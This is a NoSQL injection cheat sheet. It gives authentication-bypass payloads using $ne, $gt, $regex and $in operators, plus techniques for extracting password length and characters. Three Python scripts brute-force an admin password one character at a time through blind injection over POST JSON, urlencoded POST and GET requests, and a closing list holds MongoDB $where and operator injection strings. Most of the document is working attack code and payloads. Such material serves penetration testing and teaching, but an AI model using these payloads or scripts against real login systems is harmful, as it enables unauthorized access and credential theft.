NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Summary

• Tools
• Exploit
• Authentication Bypass
• Extract length information
• Extract data information
• Blind NoSQL
• POST with JSON body
• GET
• MongoDB Payloads
• References

Tools

• NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool
• nosqlilab - A lab for playing with NoSQL Injection

Exploit

Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract data information

in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with "in"

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL

POST with JSON body

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

POST with urlencoded body

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c

GET

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload='?username=%s&password[$regex]=^%s' % (username, password + c)
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print("Found one more char : %s" % (password+c))
        password += c

MongoDB Payloads

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

References

• Les NOSQL injections Classique et Blind: Never trust user input - Geluchat
• Testing for NoSQL injection - OWASP/WSTG
• NoSQL injection wordlists - cr0hn
• NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon

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Last update: August 30, 2022